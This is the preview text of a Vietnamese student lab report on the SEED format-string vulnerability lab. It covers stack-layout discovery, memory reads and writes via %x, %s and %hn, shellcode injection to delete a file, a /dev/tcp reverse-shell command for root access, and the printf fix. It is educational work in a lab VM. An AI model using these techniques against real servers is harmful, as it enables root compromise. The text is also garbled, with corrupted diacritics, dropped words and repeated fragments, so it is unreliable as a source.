Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 20 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
20
Dung lượng
7,71 MB
Nội dung
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_STRING (FORMAT-STRING VULNERABILITY LAB) …………………………………………………………………………………………… Giảng viên hướng dẫn: PGS.TS Lương Thế Dũng Sinh viên thực hiện: Phạm Nguyễn Tiên Anh Lớp: Mã số sinh viên: Nhóm: Khóó́a: TP Hồ Chí Minh, tháng 11 năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN THỰC TẬP CƠ SỞ CHUN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_STRING (FORMAT-STRING VULNERABILITY LAB) Nhận xét giáo viên hướng dẫn: Điểm báo cáo: Xác nhận giáo viên hướng dẫn: LỜI CẢM ƠN Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũng –giảng viên trực tiếp hướng dẫn, bảo, tạo điều kiện thuận lợi giúp đỡ chúng em trình thực đề tài Để cóó́ thành ngày hơm nay, ngồi nỗ lực khơng ngừng nghỉ thành viên nhóó́m phần khơng nhỏ đóó́ng góó́p nên thành cơng nhờ quan tâm, bảo, giúp đỡ thầy cô, anh chị khóó́a bạn bè xung quanh Tuy cóó́ nhiều cố gắng nỗ lực thành viên để hoàn thiện đề tài, chắn đề tài “NGHIÊN CỨU LỖ HỔNG FORMAT-STRING (FORMATSTRING VULNERABILITY LAB)” chúng em cịn nhiều thiếu sóó́t Chúng em mong nhận góó́p ý từ thầy giáo để nhóó́m em cóó́ thể hồn thiện tốt đề tài nghiên cứu sau Chúng em xin chân thành cảm ơn! LỜI MỞ ĐẦU Ngày nay, với xu hướng chuyển đổi số mạnh mẽ doanh nghiệp, công ty, tổ chức dẫn đến việc tạo phần mềm quản lý, điều hành làm việc thiết yếu Bên cạnh đóó́, ảnh hưởng đại dịch COVID-19 thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm tạo vận hành tránh bị kẻ xấu công gây thiệt hại nghiêm trọng Đóó́ lý để chúng em chọn chuyên đề Software Security đặc biệt nghiên cứu cách công lỗ hổng Format-String MỤC LỤC LỜI CẢM ƠN LỜI MỞ ĐẦU MỤC LỤC CHƯƠNG 1: TỔNG QUAN VỀ FORMAT-STRING 1.Giới thiệu 2.Mục tiêu CHƯƠNG 2: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ TỰ TỪNG TASK7 2.1 Task 1: Chương Trình Dễ Bị Tấn Công( The Vulnerable Program) 2.2 Task 2: Tìm Hiểu Layout of the Stack (Understanding the Layout of the Stack) 2.3 Task 3: Sự Cố Chương Trình (Crash the Program) 10 2.4 Task 4: In Ra Bộ Nhớ Của Chương Trình Máy Chủ(Print Out the Server Program’s Memory) 11 2.5 Task 5: Thay Đổi Bộ Nhớ Của Chương Trình Máy Chủ ( Change the Server Program’s Memory) 12 2.6 Task 6: Tiêm Mã Độc Vào Chương Trình Máy Chủ (Inject Malicious Code into the Server Program ) 14 2.7 Task 7: Đạt Được Một Reverse Shell (Getting A Reverse Shell ) .17 2.8 Task 8: Sửa lỗi (Fixing the Problem ) 18 CHƯƠNG 4: KẾT LUẬN 19 TÀI LIỆU THAM KHẢO 20 CHƯƠNG 1: TỔNG QUAN VỀ FORMAT-STRING 1.Giới thiệu Hàm printf () C sử dụng để in chuỗi theo định dạng Đối số nóó́ gọi chuỗi định dạng, xác định cách định dạng chuỗi Định dạng chuỗi sử dụng trình giữ chỗ đánh dấu ký tự % cho hàm printf () để điền liệu trình in Việc sử dụng chuỗi định dạng không giới hạn hàm printf (); nhiều hàm khác, chẳng hạn sprintf (), fprintf (), scanf (), sử dụng chuỗi định dạng Một số chương trình cho phép người dùng cung cấp tồn phần nội dung chuỗi định dạng Nếu nội dung đóó́ khơng làm sạch, người dùng độc hại cóó́ thể sử dụng hội để lấy chương trình để chạy mã tùy ý Một vấn đề gọi lỗ hổng định dạng chuỗi(format-string vulnerability) 2.Mục tiêu Mục tiêu lab để sinh viên cóó́ kinh nghiệm trực tiếp lỗ hổng định dạng chuỗi cách đưa họ học lỗ hổng từ lớp học vào hành động Sinh viên cung cấp chương trình cóó́ lỗ hổng chuỗi định dạng; nhiệm vụ khai thác lỗ hổng để đạt điều sau thiệt hại: (1) làm hỏng chương trình, (2) đọc nhớ chương trình, (3) sửa đổi nhớ chương trình nghiêm trọng (4) đưa thực thi mã độc hại cách sử dụng đặc quyền truy cập chương trình nạn nhân Hậu cuối nguy hiểm chương trình dễ bị cơng chương trình đặc quyền, chẳng hạn root deamon, điều đóó́ cóó́ thể cung cấp cho kẻ công quyền truy cập root hệ thống CHƯƠNG 2: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ TỰ TỪNG TASK Trước thực cơng để đơn giản hóó́a task cơng, vơ hiệu hóó́a ngẫu nhiên địa chỉ: Address Space Randomization Ubuntu số hệ thống dựa Linux khác sử dụng ngẫu nhiên hóó́a khơng gian địa để ngẫu nhiên hóó́a địa bắt đầu heap stack Điều làm cho việc đốn địa xác trở nên khóó́ khăn; đốn địa bước quan trọng cơng Trong phịng thí nghiệm này, cần vơ hiệu hóó́a điều lệnh đây: 2.1 Task 1: Chương Trình Dễ Bị Tấn Công( The Vulnerable Program) Chúng ta cung cấp chương trình dễ bị cơng cóó́ lỗ hổng chuỗi định dạng Chương trình chương trình máy chủ Khi nóó́ chạy, nóó́ lắng nghe cổng UDP 9090 Bất góó́i UDP đến cổng này, chương trình liệu gọi myprint () để in liệu Máy chủ root daemon, tức nóó́ chạy với đặc quyền root Bên hàm myprintf (), cóó́ lỗ hổng định dạng chuỗi Chúng ta khai thác lỗ hổng để đạt đặc quyền root Chúng ta compile chương trình máy chủ(server) cho cóó́ lỗ hổng chuỗi định dạng Trong biên dịch, làm cho ngăn xếp cóó́ thể thực thi để cóó́ thể chèn chạy mã riêng cách khai thác lỗ hổng bảo mật sau phịng thí nghiệm Chạy máy chủ(server) máy khách(client) VM, trước tiên chạy chương trình phía máy chủ(server) sử dụng đặc quyền root, sau đóó́ lắng nghe thơng tin cổng 9090 Chương trình máy chủ root daemon cóó́ quyền Sau đóó́, kết nối với máy chủ(server) từ máy khách(client) sử dụng lệnh ‘nc’ với -u cho biết UDP (vì máy chủ UDP server ) Ip địa máy cục - 127.0.0.1 cổng cổng UDP 9090 Điều thấy sau : Trong compile, nhận cảnh báo mà tạm thời bỏ qua Chúng ta gửi chuỗi "It is working." để kiểm tra chương trình thấy thứ gửi từ máy khách(client) in xác theo cách tương tự máy chủ(server), với số thông tin bổ sung 2.2 Task 2: Tìm Hiểu Layout of the Stack (Understanding the Layout of the Stack) Để tìm địa vị trí định, cố gắng xem giá trị trả chương trình máy chủ(server) nhắc nóó́ để cung cấp thêm địa Để bắt đầu, thấy địa đối số ‘msg’ in đầu máy chủ(server output) Vì Return Address (2) byte đóó́, cóó́ thể tính toán địa giá trị trả 0xBFFFF0A0 - = 0xBFFFF09C Tiếp theo, để tìm địa điểm bắt đầu đệm (3), nhập byte ngẫu nhiên ký tự - @@@@ cóó́ giá trị ASCII gọi 40404040 Các ký tự lưu trữ đầu đệm chúng ký tự đệm hoàn toàn giá trị đưa đầu vào Vì vậy, nhập ký tự nhiều % 8x làm đầu vào để tìm giá trị lưu trữ địa từ địa chuỗi định dạng đến số địa ngẫu nhiên, hi vọng đệm bắt đầu Chúng ta cố gắng tìm kiếm giá trị ASCII 40404040, để xác định khác biệt địa chuỗi định dạng điểm bắt đầu đệm Chúng ta thấy cóó́ khác biệt 23% 8x điểm bắt đầu địa đệm, tức @@@@ địa sau định dạng địa chuỗi Điều cóó́ thể nhìn thấy đây: 2.3 Task 3: Sự Cố Chương Trình (Crash the Program) Để chương trình gặp cố, cung cấp chuỗi% s làm đầu vào cho chương trình thấy sau: Ở đây, chương trình bị gặp cố % s coi giá trị thu từ vị trí địa in liệu lưu trữ địa đóó́ Vì biết nhớ lưu trữ không dành cho hàm printf đóó́ nóó́ cóó́ thể khơng chứa địa tất vị 10 trí tham chiếu, chương trình bị cố Giá trị cóó́ thể chứa tham chiếu đến nhớ bảo vệ cóó́ thể khơng chứa nhớ tất cả, dẫn đến cố 2.4 Task 4: In Ra Bộ Nhớ Của Chương Trình Máy Chủ(Print Out the Server Program’s Memory) Task 4.A: Dữ liệu ngăn xếp (Stack Data) Tại đây, nhập liệu - @@@@ loạt liệu% 8x Sau đóó́, chúng tơi tìm kiếm giá trị - @@@@, cóó́ giá trị ASCII 40404040 lưu nhớ Chúng thấy % x thứ 24, thấy đầu vào đóó́ chúng tơi thành công việc đọc liệu lưu trữ ngăn xếp Phần lai cua % x hiển thị nội dung ngăn xếp Chúng ta yêu cầu 24 mã định dạng để in byte đầu vào Task 4.B: Cây liệu (Heap Data) Tiếp theo, cung cấp thông tin đầu vào sau cho máy chủ(server): 11 Chúng ta thấy kết sau cho thấy thông điệp bí mật lưu trữ vùng đống in ra: Do đóó́, thành cơng việc đọc liệu heap cách lưu trữ địa liệu heap ngăn xếp sau đóó́ sử dụng trình định dạng% s vị trí để nóó́ đọc nhớ lưu trữ địa sau đóó́ lấy giá trị từ địa đóó́ 2.5 Task 5: Thay Đổi Bộ Nhớ Của Chương Trình Máy Chủ ( Change the Server Program’s Memory) Task 5.A: Thay đổi giá trị thành giá trị khác (Change the value to a different value) Trong task phụ này, cần thay đổi nội dung biến mục tiêu thành thứ khác Nhiệm vụ bạn coi thành cơng bạn cóó́ thể thay đổi nóó́ thành giá trị khác, nóó́ cóó́ thể giá trị 12 Điều để thay đổi giá trị biến 'target' thành 0x123 Task 5.B: Thay đổi giá trị thành 0x500 (Change the value to 0x500) Trong task phụ này, cần thay đổi nội dung biến mục tiêu thành giá trị cụ thể 0x500 Nhiệm vụ bạn coi thành công giá trị biến trở thành 0x500 Task 5.C: Thay đổi giá trị thành 0xFF990000 (Change the value to 0xFF990000) Task phụ tương tự task trước, ngoại trừ giá trị mục tiêu số lớn Trong công chuỗi định dạng, giá trị tổng số ký tự in hàm printf (); việc in số lượng lớn ký tự cóó́ thể hàng Bạn cần sử dụng cách tiếp cận nhanh Ý tưởng sử dụng % hn, thay % n, cóó́ thể sửa đổi không gian nhớ hai byte, thay bốn byte Việc in 216 ký tự khơng nhiều thời gian Chúng ta cóó́ thể chia khơng gian nhớ biến đích thành hai khối nhớ, khối cóó́ hai byte Chúng ta cần đặt khối thành 0xFF99 đặt khối lại thành 0x0000 Điều cóó́ nghĩa công bạn, bạn cần cung cấp hai địa chuỗi định dạng Trong công chuỗi định dạng, việc thay đổi nội dung không gian nhớ thành giá trị nhỏ khóó́ khăn (vui lịng giải thích lý báo cáo); 0x00 trường hợp cực đoan Để đạt mục tiêu này, cần sử dụng kỹ thuật tràn Ý tưởng tạo số lớn nhớ cho phép, phần số đóó́ lưu trữ (về bản, cóó́ số nguyên bị tràn) Ví dụ: số 216 + lưu trữ khơng gian nhớ 16 bit, cóó́ lưu trữ Do đóó́, để 0, cần lấy số 216 = 65,536 13 Đầu tiên, cần chia nóó́ thành hai phần: 0xFF99 0x10000 Vì phương pháp little endian sử dụng, 0xFF99 thêm vào 0x0804a046 103 thêm vào 0x0804a644 0xFF99 - 0x8 = 0xFF91 = 65425 (0x0804a046) 0x10000 - 0xFF91 - 0x8 = 0x67 = 103 (0x0804a644) 2.6 Task 6: Tiêm Mã Độc Vào Chương Trình Máy Chủ (Inject Malicious Code into the Server Program ) Bây sẵn sàng tới trọng tâm công này, tức đưa đoạn mã độc hại vào chương trình máy chủ, chúng tơi cóó́ thể xóó́a tệp khỏi máy chủ Nhiệm vụ đặt móó́ng cho nhiệm vụ chúng ta, đóó́ giành quyền kiểm sốt hồn tồn máy tính chủ 14 Để thực task này, cần đưa đoạn mã độc hại, định dạng nhị phân, vào máy chủ nhớ, sau đóó́ sử dụng lỗ hổng chuỗi định dạng để sửa đổi trường địa trả hàm, hàm trả về, nóó́ nhảy đến mã đưa vào Để xóó́a tệp, chúng tơi muốn mã độc hại thực lệnh / bin / rm cách sử dụng chương trình shell, chẳng hạn / bin / bash Loại mã gọi shellcode Trước tiên, tạo tệp cóó́ tên myfile phía máy chủ mà chúng tơi cố gắng xóó́a tác vụ này: Viết exploit.py với phần quan trọng bên dưới: Tiếp theo, nhập thơng tin sau vào máy chủ, đóó́ sửa đổi địa trả 0xBFFFF358 với giá trị ngăn xếp cóó́ chứa mã độc hại Mã độc cóó́ lệnh rm xóó́a tệp tạo trước đóó́ máy chủ 15 Ở đây, phần đầu mã độc, nhập vào số NOP operations , ví dụ \ x90 để chương trình cóó́ thể chạy từ đầu khơng cần phải đốn địa xác nơi bắt đầu mã NOP cung cấp cho loạt địa chuyển đến địa số cung cấp cho kết thành công, chương trình cóó́ thể bị lỗi việc thực thi mã cóó́ thể khơng thứ tự Kết sau cho thấy công thành cơng khơng cịn thấy tệp: Chuỗi định dạng tạo cóó́ địa trả về, tức 0xBFFFF09C lưu trữ đầu đệm Chúng ta chia địa thành 2-bytes,tức 0xBFFFF09C 0xBFFFF09E, để trình nhanh địa phân tách số byte để giá trị lưu thứ byte cóó́ thể tăng đến giá trị mong muốn 2% hn Nếu khơng cóó́ byte bổ sung sau đóó́ thấy %x đầu vào sau %hn đầu tiên, giá trị địa BFFFF09C nhận được in thay ghi vào nóó́ trường hợp cóó́ trở lại% hn, giá trị lưu trữ hai địa Sau đóó́, chúng tơi sử dụng cơng cụ sửa đổi độ xác để lấy địa mã độc lưu địa trả sử dụng% hn để lưu địa Các mã độc lưu đệm, phía địa đánh dấu Hình sách hướng dẫn Các địa sử dụng 0xBFFFF15C, lưu trữ NOP 16 2.7 Task 7: Đạt Được Một Reverse Shell (Getting A Reverse Shell ) Trong chuỗi định dạng trước, sửa đổi mã độc để chạy lệnh sau để đạt reverse shell : /bin/bash -c "/bin/bash -i > /dev/tcp/localhost/7070 0&1 Chuỗi nhập sau thấy, nóó́ giống với chuỗi trước đóó́ ngoại trừ mã: Trước cung cấp đầu vào cho máy chủ, chạy máy chủ TCP lắng nghe cổng 7070 máy kẻ cơng sau đóó́ nhập chuỗi định dạng Trong ảnh chụp hình tiếp theo, thấy cóó́ đạt thành cơng trình reverse shell máy chủ TCP nghe hiển thị trước đóó́ hiển thị máy chủ Trình bao đảo ngược cho phép máy nạn nhân cóó́ root shell server định # root @VM Điều cho thấy cách mà chúng tơi cóó́ thể khai thác lỗ hổng chuỗi định dạng để cóó́ quyền truy cập root vào máy chủ máy cho trường hợp đóó́ 17 2.8 Task 8: Sửa lỗi (Fixing the Problem ) Trình biên dịch đưa lỗi cóó́ đối số msg định dạng hàm printf mà khơng cóó́ ký tự chuỗi đối số bổ sung Cảnh báo nâng lên dòng printf (msg) đoạn mã sau: [1] Điều xảy sử dụng không cách không định mã định dạng lấy input từ người dùng Để khắc phục lỗ hổng này, cần thay nóó́ printf (“% s”, msg) biên dịch lại chương trình lần để kiểm tra xem cố thực khắc phục chưa Phần sau cho thấy chương trình sửa đổi biên dịch lại nóó́ theo cách tương tự, khơng nhiều cung cấp cảnh báo nào: [1] [1] Do đóó́, sửa lỗi giúp khắc phục lỗ hổng chuỗi định dạng 18 CHƯƠNG 4: KẾT LUẬN Trong lab này, sinh viên cung cấp chương trình cóó́ lỗ hổng định dạng chuỗi; nhiệm vụ họ phát triển kế hoạch để khai thác lỗ hổng bảo mật Ngồi cơng, sinh viên hướng dẫn để qua chương trình bảo vệ cóó́ thể sử dụng để đánh bại kiểu công Học sinh cần đánh giá xem chương trình hoạt động hay khơng giải thích Cần lưu ý kết phòng thí nghiệm phụ thuộc vào hệ điều hành Mơ tả thảo luận dựa Ubuntu Linux Nóó́ hoạt động phiên Ubuntu Tuy vậy, bạn sử dụng hệ điều hành khác nhau, vấn đề cố khác cóó́ thể xuất 19 TÀI LIỆU THAM KHẢO [1] MeghaJakhotia, "Format String," [Online] Available: https://github.com/MeghaJakhotia/ComputerSecurityAttacks/tree/master/Format %20String [2] firmianay, "format_string-vulnerability-lab.md," [Online] Available: https://github.com/firmianay/Life-long-Learner/blob/master/SEEDlabs/ format_string-vulnerability-lab.md [3] li-xin-yi, "Format-String-Vulnerability," [Online] Available: li-xin-yihttps://github.com/li-xin-yi/seedlab/tree/master/Format-String-Vulnerability [4] W Du, "Format-String Vulnerability Lab," [Online] Available: https://seedsecuritylabs.org/Labs_16.04/Software/Format_String_Server/ 20 ...BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_ STRING (FORMAT- STRING VULNERABILITY LAB) Nhận... chị khóó́a bạn bè xung quanh Tuy cóó́ nhiều cố gắng nỗ lực thành viên để hoàn thiện đề tài, chắn đề tài “NGHIÊN CỨU LỖ HỔNG FORMAT- STRING (FORMATSTRING VULNERABILITY LAB)? ?? chúng em nhiều thiếu... Một vấn đề gọi lỗ hổng định dạng chuỗi (format- string vulnerability) 2.Mục tiêu Mục tiêu lab để sinh viên cóó́ kinh nghiệm trực tiếp lỗ hổng định dạng chuỗi cách đưa họ học lỗ hổng từ lớp học